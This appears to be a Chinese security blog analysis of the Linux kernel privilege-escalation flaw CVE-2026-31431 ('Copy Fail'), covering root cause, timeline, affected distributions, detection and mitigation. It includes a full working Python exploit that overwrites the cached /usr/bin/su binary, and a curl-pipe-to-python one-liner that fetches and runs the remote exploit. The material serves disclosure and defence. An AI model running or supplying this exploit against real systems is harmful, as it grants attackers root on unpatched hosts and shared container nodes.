【突发史诗级漏洞】通杀所有Linux,732个字节提权

Copy Fail(CVE-2026-31431)Linux 内核本地提权漏洞分析报告

image.png

一、概述

Copy Fail 是一个编号为 CVE-2026-31431 的 Linux 内核本地提权漏洞。漏洞位于内核加密接口 AF_ALGalgif_aead 处理链中,根因是 2017 年引入的 in-place 优化设计,使来自 splice() 的文件 page cache 页被链入可写目标 scatterlist,随后在 authencesn 解密路径中发生 4 字节越界写

这类问题之所以引发广泛关注,不是因为“又一个本地提权”,而是因为它同时具备了几项少见特征:

  • 利用链直线化,无需竞争条件。
  • 同一份 PoC 可跨 Ubuntu、Amazon Linux、RHEL、SUSE 等主流发行版复用。
  • 写入目标是 page cache,不是磁盘文件本身,因此磁盘上的二进制和校验值可能保持不变。
  • 在共享内核场景下,漏洞天然具备向容器、CI Runner、SaaS 执行节点等环境放大的条件。

截至 2026-04-30,Ubuntu 安全公告已将该漏洞定性为 high priority,并直接描述为 trivial local privilege escalation。这一定性与公开 PoC 呈现出的利用稳定性基本一致。

从公开资料看,研究方直接验证过的组合包括:

发行版 内核版本
Ubuntu 24.04 LTS 6.17.0-1007-aws
Amazon Linux 2023 6.18.8-9.213.amzn2023
RHEL 10.1 6.12.0-124.45.1.el10_1
SUSE 16 6.12.0-160000.9-default

研究团队的判断是:只要内核位于 2017 年引入缺陷之后、官方补丁之前,并且系统可达 AF_ALG AEAD 路径,就处于风险窗口内。

EXP:

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

curl https://copy.fail/exp | python3 && su

ezgif-2a706c3818cdba66.gif

二、时间线

copy-fail-timeline.png
公开披露链条相对清晰:

  • 2017 年:提交 72548b093ee3,将 algif_aead 改为 in-place 处理模式,问题由此引入。
  • 2026-03-23:漏洞报告提交给 Linux 内核安全团队。
  • 2026-03-24:收到初始确认。
  • 2026-03-25:补丁提出并进入评审。
  • 2026-04-01:主线合入修复提交 a664bf3d603d
  • 2026-04-22:漏洞分配编号 CVE-2026-31431
  • 2026-04-29copy.fail 与 Xint 技术文章公开披露。

Linux CVE 通告同时给出了稳定分支修复节点:

  • 6.18.22fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8
  • 6.19.12ce42ee423e58dffa5ec03524054c9d8bfd4f6237
  • 7.0a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5

三、漏洞原理

copy-fail-root-cause.png

1. 触发链条的三个关键词

要理解 Copy Fail,核心要抓住三个对象:

  • AF_ALG:用户态访问内核加密 API 的入口。
  • splice():可以把文件 page cache 页直接送进后续处理链,而不是先复制成普通用户态缓冲区。
  • authencesn:AEAD 解密链上的一个实现,在特定条件下会把目标缓冲区当成 scratch 区使用。

2. 真正的根因不只是“4 字节写”

单看 authencesn 的写操作,很多人第一反应会把它理解成一个普通的内存破坏点。但 Copy Fail 真正危险的地方在于:这 4 字节最终不是写进普通用户态缓冲区,而是写进了文件的 page cache 页。

公开分析指出,2017 年的 algif_aead 优化为了做 in-place 处理,把 req->srcreq->dst 指向同一条组合后的 scatterlist;而这条 scatterlist 的尾部,又通过 sg_chain() 链上了来自 splice() 的 tag 页。这些 tag 页本质上仍然引用着文件 page cache。

于是,逻辑上“应该只写接收缓冲区”的那 4 个字节,实际上沿着这条链继续写进了 page cache。

3. 为什么 page cache 写入比磁盘写入更棘手

这也是 Copy Fail 与普通 LPE 的分水岭:

  • 修改的是内核缓存中的文件页,而不是磁盘上的 ELF 文件。
  • execve 读取二进制时,会使用 page cache,因此被污染的 setuid 程序仍然会按篡改后的内容执行。
  • 但磁盘文件本身可能保持原样,重启或缓存回收后又会恢复干净。

这意味着事件响应时会出现一个非常典型的错觉:“磁盘文件没变,但程序已经被改过并执行了。”

四、利用路径与风险放大点

copy-fail-attack-path.png

从公开 PoC 和技术说明来看,漏洞利用链可以概括为:

  1. 攻击者获得普通本地用户权限。
  2. 选择一个当前用户可读、同时可用于提权的 setuid-root 目标文件,例如 /usr/bin/su
  3. 借助 splice() 把目标文件的 page cache 页送入 AF_ALG 处理路径。
  4. 通过 authencesn 解密流程触发 4 字节可控写。
  5. 分多次覆盖关键偏移后,执行被污染的 setuid 程序,完成提权。

公开 FAQ 对此给出的结论非常直接:任意可读文件都可能成为 page cache 写入目标;PoC 选择 su,只是因为它在主流发行版中几乎总是存在。

这条利用链为什么特别危险

第一,它不依赖竞争条件。与 Dirty COW 一类漏洞相比,Copy Fail 没有典型的 TOCTOU 不稳定性,成功路径更直。

第二,它不需要按发行版做复杂适配。研究方强调,同一份 732 字节 Python 脚本即可在多个主流发行版上直接工作,不需要单独编译、版本探测或偏移表。

第三,它绕过了很多“只看磁盘”的安全假设。只要攻击窗口尚未过去,运行时读文件、执行二进制、乃至常规哈希比对,都可能与磁盘镜像给出的结论不一致。

第四,它不仅仅是“单机 LPE”。由于 page cache 在主机维度共享,容器内的普通权限代码如果可以走到这条链,影响范围会直接抬升到宿主机级别。这也是为什么该漏洞在 Kubernetes、共享算力节点、在线代码执行平台、CI/CD Runner 这类场景里要比在单用户桌面上更值得优先处置。

五、影响面判断

从公开资料和厂商描述来看,以下几类环境应视为高优先级排查对象:

1. 多用户 Linux 主机

包括跳板机、开发共享机、实验环境、堡垒机后端节点等。只要不同用户共享同一内核,且低权限用户可以执行本地代码,就具备基本风险条件。

2. 容器与 Kubernetes 节点

这是 Copy Fail 最值得关注的放大场景。容器文件系统是否只读并不能直接消除风险,因为问题发生在主机共享的 page cache 与内核加密接口之间。

3. 执行不可信代码的 CI / 构建平台

例如自建 GitHub Actions Runner、GitLab Runner、Jenkins Agent,或者任何会执行外部提交、插件脚本、临时构建任务的节点。这类机器既有本地代码执行入口,又常常承载高价值凭据与构建链能力。

4. 提供用户代码执行能力的 SaaS / AI 沙箱

Notebook、在线判题、代理执行平台、AI 代码沙箱、Serverless 执行节点等,都属于应该优先修补的对象。

5. 单用户桌面与笔记本

风险相对没那么迫切,但并不代表可以忽略。该漏洞不是远程 RCE,自身需要本地代码执行前提;但一旦本地落地成功,提权路径非常干净。

六、检测与验证建议

1. 先确认是否处于版本风险窗口

建议按以下顺序判断:

  1. 确认当前内核版本:uname -r
  2. 对照发行版安全公告,确认是否已经回补 a664bf3d603d 或对应稳定分支补丁
  3. 如果无法仅凭版本号判断,优先以发行版公告与已安装内核包 changelog 为准

仅凭“版本号较高”并不能说明安全,因为很多发行版采用 backport。

2. 确认 algif_aeadAF_ALG 是否可达

公开资料建议关注以下点:

  • algif_aead 模块是否已加载或可加载
  • 系统中是否存在显式使用 AF_ALG 的用户态程序
  • 容器、沙箱、Runner 是否允许创建 AF_ALG socket

可用于排查的命令包括:

uname -r
lsmod | grep algif_aead
modprobe -n -v algif_aead
ss -xa
lsof | grep AF_ALG

3. 不要只看磁盘完整性

Copy Fail 的一个特殊点在于,磁盘上的原始文件可能没有变化,但热缓存中的二进制已经被污染并执行过。因此排查时建议把以下证据一起考虑:

  • 是否存在异常的本地提权痕迹或临时 root shell
  • 是否有异常执行的 setuid 程序
  • 是否有来自低权限用户、容器、CI 作业的异常本地代码执行
  • 是否在攻击窗口内观测到“哈希不稳定”或“重启后恢复”的现象

如果怀疑已被利用,单纯做离线磁盘镜像并不足以完全说明问题。

4. 验证 PoC 时要控制环境

公开 PoC 已经可获取,但只应在授权环境中验证。原因很简单:它改的是目标二进制的 page cache,虽然重启后通常会恢复,但在当前运行周期里会产生真实的提权效果。

七、修复与缓解建议

1. 首选方案:升级到包含补丁的发行版内核

从修复逻辑看,主线补丁 a664bf3d603d 的核心动作,是撤销 2017 年引入的 algif_aead in-place 设计,重新把源 scatterlist 与目的 scatterlist 分离开来。这样 page cache 页仍可作为输入存在,但不再落入写路径。

修复原则很明确:

  • 优先通过发行版官方内核包升级
  • 不建议自行 cherry-pick 单补丁替代正常升级
  • 生产环境以厂商公告和回补状态为准

2. 过渡方案:禁用 algif_aead

在补丁尚未落地前,可以考虑先禁用 algif_aead 模块:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null || true

这并不等于“关闭所有内核加密能力”。公开 FAQ 明确指出,像 dm-crypt、LUKS、SSH、OpenSSL 默认构建、kTLS、IPsec/XFRM 这类常见组件,大多并不通过用户态 AF_ALG 这条入口工作。因此,禁用 algif_aead 的影响通常集中在少数显式启用 AF_ALG 的用户态场景

3. 容器与沙箱场景建议额外限制 AF_ALG

对承载不可信代码的环境,建议在补丁之外增加一层防护:

  • 通过 seccomp 禁止创建 AF_ALG socket
  • 收紧容器 profile,减少内核接口暴露面
  • 不让普通任务接触高价值宿主机节点

对于容器平台来说,这类措施的价值不仅在于当前漏洞,更在于压缩同类内核攻击面的通用暴露程度。

八、事件响应建议

如果环境在修补前已经暴露给不可信本地代码,建议补丁之外追加以下动作:

  1. 对关键节点进行重启,清理潜在的恶意 page cache 状态。
  2. 审计近期异常提权、异常 setuid 程序执行和异常本地 shell 行为。
  3. 复查容器平台、CI 节点、沙箱节点是否存在跨租户访问痕迹。
  4. 对高价值凭据执行轮换,尤其是构建签名、云凭据、Runner Token、制品仓库访问令牌。

Copy Fail 最大的处置难点,不是“修补代码”,而是要意识到可能存在一个已经消失、却确实发生过的运行时篡改窗口

九、结语

Copy Fail 是一个非常典型的“边界假设失效”案例。

单看 authencesn 的 4 字节写操作,并不显得惊人;但当它与 AF_ALGsplice()、page cache、setuid 程序执行路径叠在一起后,就变成了一个跨越九年风险窗口、具备跨发行版利用稳定性的高危本地提权漏洞。

这也是为什么该漏洞值得被单独拿出来写一篇完整分析:它提醒了防守方一件事,很多真正危险的内核漏洞,并不是“大块越界写”本身,而是一次看似局部的逻辑优化,恰好穿透了多个子系统之间默认不应被打通的信任边界。


参考资料

官方与原始披露

  1. Copy Fail 项目主页:https://copy.fail/
  2. Copy Fail 技术说明 / EXP 页面:https://copy.fail/exp
  3. Copy Fail FAQ:https://copy.fail/faq.md
  4. Xint 技术文章《Copy Fail: 732 Bytes to Root on Every Major Linux Distribution》:https://xint.io/blog/copy-fail-linux-distributions
  5. Theori PoC 仓库:https://github.com/theori-io/copy-fail-CVE-2026-31431
  6. Linux 内核 CVE 通告(oss-security 转载):https://www.openwall.com/lists/oss-security/2026/04/29/23
  7. NVD 页面:https://nvd.nist.gov/vuln/detail/CVE-2026-31431
  8. Ubuntu 安全公告:https://ubuntu.com/security/CVE-2026-31431

温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。

涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。

如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。